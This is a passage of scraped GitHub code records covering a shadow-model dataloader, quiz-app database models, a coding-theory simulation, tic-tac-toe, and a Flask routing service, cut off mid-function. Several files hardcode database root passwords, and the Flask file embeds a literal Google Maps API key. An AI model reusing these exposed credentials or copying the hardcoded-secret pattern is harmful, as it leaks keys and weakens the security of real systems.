split_dataset=\"shadow_train\"):\n \n try:\n if dataset == \"cifar\":\n\n transform = transforms.Compose(\n [transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.247, 0.243, 0.261))])\n trainset = datasets.CIFAR10(root='./data', train=True, download=True, transform=transform)\n testset = datasets.CIFAR10(root='./data', train=False, download=True, transform=transform)\n testloader = DataLoader(testset, batch_size=batch_size_test, shuffle=False)\n\n elif dataset == \"mnist\":\n\n transform = transforms.Compose([transforms.ToTensor(),\n transforms.Normalize((0.1307,), (0.3081,))])\n trainset = datasets.MNIST(root='./data', train=True, download=True, transform=transform)\n testset = datasets.MNIST(root=\"./data\", train=False, download=True, transform=transform)\n testloader = DataLoader(testset, batch_size=batch_size_test, shuffle=False)\n else:\n raise NotAcceptedDataset\n\n except NotAcceptedDataset:\n print('Dataset Error. Choose \"cifar\" or \"mnist\"')\n sys.exit()\n\n total_size = len(trainset)\n split1 = total_size // 4\n split2 = split1 * 2\n split3 = split1 * 3\n\n indices = [*range(total_size)]\n\n if split_dataset == \"shadow_train\":\n return subsetloader(indices, 0, split1, trainset, batch_size_train)\n\n elif split_dataset == \"shadow_out\":\n return subsetloader(indices, split1, split2, trainset, batch_size_train)\n\n elif split_dataset == \"target_train\":\n return subsetloader(indices, split2, split3, trainset, batch_size_train)\n\n elif split_dataset == \"target_out\":\n return subsetloader(indices, split3, total_size, trainset, batch_size_train)\n\n else:\n return testloader\n\n\n\n\n\nclass NotAcceptedDataset(Exception):\n \n pass\n\n\n","repo_name":"surya-kodeti/ML-Security-Project-Submission","sub_path":"custom_dataloader.py","file_name":"custom_dataloader.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"10599895691","text":"from peewee import *\n\nmysql_db = MySQLDatabase('simulando', user='root', password='ienh', host='localhost', port=3306)\n\nclass BaseModel(Model):\n class Meta:\n database = mysql_db\n\nclass Materia(BaseModel):\n nome = CharField()\n\n class Meta:\n table_name = 'materia'\n database = mysql_db\n\nclass Usuario(BaseModel):\n nome = CharField()\n email = CharField()\n senha = CharField()\n\n #produtos = ManyToManyField(Produto, backref='categorias')\n class Meta:\n table_name = 'usuario'\n database = mysql_db\n\nclass Questao(BaseModel):\n enunciado = CharField()\n alternativa1 = CharField()\n alternativa2 = CharField()\n alternativa3 = CharField()\n alternativa4 = CharField()\n correta = CharField()\n img = BlobField()\n materia = ForeignKeyField(Materia, backref='questoes')\n\n class Meta:\n table_name = 'questao'\n database = mysql_db\n\nclass Resposta(BaseModel):\n questao = ForeignKeyField(Questao, backref='respostas')\n hora = TimeField()\n data = DateField()\n acerto = BooleanField()\n materia = ForeignKeyField(Materia, backref='respostas')\n retorno_usuario = BlobField()\n\n class Meta:\n table_name = 'resposta'\n database = mysql_db\n\nclass quiz(BaseModel):\n usuario = ForeignKeyField(Usuario, backref='quizs')\n questao = ForeignKeyField(Questao, backref='questoes')\n hit = IntegerField()\n tempo = TimeField()\n\n class Meta:\n table_name = 'quiz'\n database = mysql_db","repo_name":"rkluiza/simulando-backend","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"3053420951","text":"from utils import *\r\n\r\n# Number of decoding iterations\r\nN = 2000\r\n\r\n# Given n, k, p values\r\n\r\nnarr = [15, 20]\r\nparr = [0.015, 0.1, 0.45]\r\nk = 10\r\n\r\n# Custom n, k, p values\r\n\r\n# narr = [i for i in range(12, 25)]\r\n# parr = [0.015, 0.1, 0.45]\r\n# k = 10\r\n\r\nfor p in parr:\r\n PE_array = []\r\n\r\n for n in narr:\r\n EArray = []\r\n\r\n for i in range(5):\r\n code = GenerateCode(n, k)\r\n E = 0\r\n\r\n for j in range(N):\r\n # Pick a random vector from the binary vector space\r\n c = SelectCodeword(code)\r\n\r\n # Pass the codeword through BSC(p) to get output y\r\n y = BSC(p, c)\r\n\r\n # Decode y using MDD to get the estimates of c\r\n # Select any one of them if there are multiple\r\n estimate = SelectCodeword(MDD(code, y))\r\n\r\n # Calculate value of indicator I and return it\r\n I = ErrorIndicator(estimate, c)\r\n\r\n # Add to total error count\r\n E += I\r\n\r\n EArray.append(E / N)\r\n\r\n minE = min(EArray)\r\n PE_array.append(minE)\r\n\r\n print(\"n = {}, k = {}, p = {}\".format(n, k, p))\r\n print(\"Avg. Probability of Error in Decoding\")\r\n for i in range(len(EArray)):\r\n print(\"Run {} = {}\".format(i + 1, EArray[i]))\r\n print(\"Minimum Avg. Probability of Error = {}\\n\".format(minE))\r\n\r\n plt.plot(narr, PE_array, marker=\"o\")\r\n\r\nplt.title(\r\n r\"Minimum Avg. Probability of Error vs. $n$\"\r\n + \"\\n\"\r\n + r\"$P_E(n,k,p) = \\frac{E}{N}$,\"\r\n + f\"k = {k}\"\r\n)\r\nplt.xlabel(r\"$n$\")\r\nplt.ylabel(r\"$P_E(n,k,p)$\")\r\nplt.legend([\"p = {}\".format(i) for i in parr])\r\nplt.savefig(\"result_given.png\")\r\n","repo_name":"phish432/Information-and-Communication-Project","sub_path":"Error-Probability/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"12242920783","text":"'''\nWrite a function that takes an unsigned integer and returns the number of '1' bits it has (also known as the Hamming weight).\n'''\n\nclass Solution:\n def hammingWeight(self, n: int) -> int:\n oneBits = 0\n while n > 0:\n if n & 1:\n oneBits += 1\n n >>= 1\n return oneBits\n","repo_name":"abespitalny/CodingPuzzles","sub_path":"Leetcode/number_of_1_bits.py","file_name":"number_of_1_bits.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"37639969445","text":"from funcion_totito import ganador\nlista = [[ 65, 66, 67], [68, 69, 70], [71, 72, 73]]\nposicion_tomada = []\nfichas = [[0,0,0],[0,0,0], [0,0,0]]\n\nprint (\"Bienvenidos a Totito\\n\")\n#Hacer un contador con for o while para poder sacar los 3 resultados.\nwhile ganador(fichas) == False:\n\n\tprint (chr(lista[0][0]), chr(lista[0][1]), chr(lista[0][2]))\n\tprint (chr(lista[1][0]), chr(lista[1][1]), chr(lista[1][2]))\n\tprint (chr(lista[2][0]), chr(lista[2][1]), chr(lista[2][2]))\n\n\t#Mejorar el codigo en base de los turnos.\t\n\ttiro = input(\" Jugador 1, En que posicion quiere poner X: \")\n\ttiro_valor = ord(tiro)-65\n\ttiro_fila = tiro_valor % 3\n\ttiro_columna = tiro_valor //3\n\n\tif tiro_valor in posicion_tomada:\n\t\tprint(\"Use otra posicion perdio el turno \\n\")\n\telse:\n\t\tposicion_tomada.append(tiro_valor)\n\t\tlista[tiro_columna][tiro_fila] = 88\n\t\tfichas[tiro_columna][tiro_fila] = 1\n\n\n\tprint (chr(lista[0][0]), chr(lista[0][1]), chr(lista[0][2]))\n\tprint (chr(lista[1][0]), chr(lista[1][1]), chr(lista[1][2]))\n\tprint (chr(lista[2][0]), chr(lista[2][1]), chr(lista[2][2]))\n\n\ttiro = input(\"Jugador 2, En que posicion quiere poner O: \")\n\ttiro_valor = ord(tiro)-65\n\ttiro_fila = tiro_valor % 3\n\ttiro_columna = tiro_valor //3\n\n\tif tiro_valor in posicion_tomada:\n\t\tprint(\"Use otra posicion perdio el turno \\n\")\n\telse:\n\t\tposicion_tomada.append(tiro_valor)\n\t\tlista[tiro_columna][tiro_fila] = 79\n\t\tfichas[tiro_columna][tiro_fila] = -1\n\n\nif ganador(fichas) == 1:\n\tprint(\"Jugador 1 Gano\")\nelif gandor(fichas) == -1:\n\tprint(\"Jugador 2 Gano\")\nelif ganador(fichas) == False:\n\tprint(\"Empate\")\n","repo_name":"Darlight/ejercicios-en-clases","sub_path":"Totito/totito.py","file_name":"totito.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26854887806","text":"# import libraries\nfrom flask import Flask, jsonify\nimport urllib.request as urlreq\nimport json\nimport datetime\nimport pandas as pd\nimport pymysql.cursors\nfrom math import sin, cos, sqrt, atan2, radians\nfrom datetime import datetime\n\napp = Flask(__name__)\n\n# Connect to the database\nconnection = pymysql.connect(host='127.0.0.1',\n user='root',\n password='1234',\n db='EventGPS',\n charset='utf8mb4',\n cursorclass=pymysql.cursors.DictCursor)\n\n#source_loc = []\n\n@app.route('/EventGPS-api/googlemaps-api/route//', methods=['GET'])\ndef get_route(source,dest):\n #source = 'Gaiety%20Theatre'\n #dest = 'Olympia%20Theatre'\n #print(source)\n #print(dest)\n global source_loc\n v=[]\n source_loc= []\n time=[]\n key = 'AIzaSyAx20Dxy6BzGGZRuKxX-JREJ0_2fgwb2qY'\n url = urlreq.urlopen(\n \"https://maps.googleapis.com/maps/api/directions/json?origin=\" + source + \"&destination=\" + dest + \"&alternatives=true&key=\" + key) # query\n jdata = url.read().decode() # reading and decoding the raw data\n data1 = json.loads(jdata)\n for i in range(len(data1['routes'])):\n v.append(''.join(list(data1['routes'][i]['overview_polyline'].values())))\n source_loc1= []\n #time1=[]\n #time1.append(data1['routes'][i]['legs'][0]['duration']['text'])\n time1=data1['routes'][i]['legs'][0]['duration']['text']\n source_loc1.append(data1['routes'][i]['legs'][0]['start_location'])\n a = len(data1['routes'][i]['legs'][0]['steps'])\n # data1['routes'][0]['legs'][0]['steps']\n for x in range(a):\n source_loc1.append(data1['routes'][i]['legs'][0]['steps'][x]['end_location'])\n source_loc.append(source_loc1)\n time.append(time1)\n df = pd.DataFrame(source_loc)\n df1=df.T\n df1.fillna(method='ffill',inplace=True)\n p=df1.to_json()\n df2=pd.DataFrame([v,time])\n #df2=df2.T\n return (df2.to_json())\n\n@app.route('/EventGPS-api/sql/result//